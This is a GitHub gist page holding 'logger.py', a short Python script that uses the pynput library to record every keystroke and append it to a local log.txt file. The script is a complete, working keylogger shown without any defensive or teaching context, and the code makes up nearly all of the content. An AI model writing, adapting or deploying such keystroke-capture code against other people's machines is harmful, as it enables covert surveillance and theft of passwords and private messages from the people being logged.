Skip to content

Instantly share code, notes, and snippets.

@bjarneo
Last active January 5, 2022 11:55
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bjarneo/95e59b15859436bfb7d8634cfcf5aeda to your computer and use it in GitHub Desktop.
Save bjarneo/95e59b15859436bfb7d8634cfcf5aeda to your computer and use it in GitHub Desktop.
logger.py
from pynput.keyboard import Listener
def log_keystroke(key):
key = str(key).replace("'", "")
if key == 'Key.space':
key = ' '
if key == 'Key.shift_r':
key = ''
if key == "Key.enter":
key = '\n'
with open("log.txt", 'a') as f:
f.write(key)
with Listener(on_press=log_keystroke) as l:
l.join()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment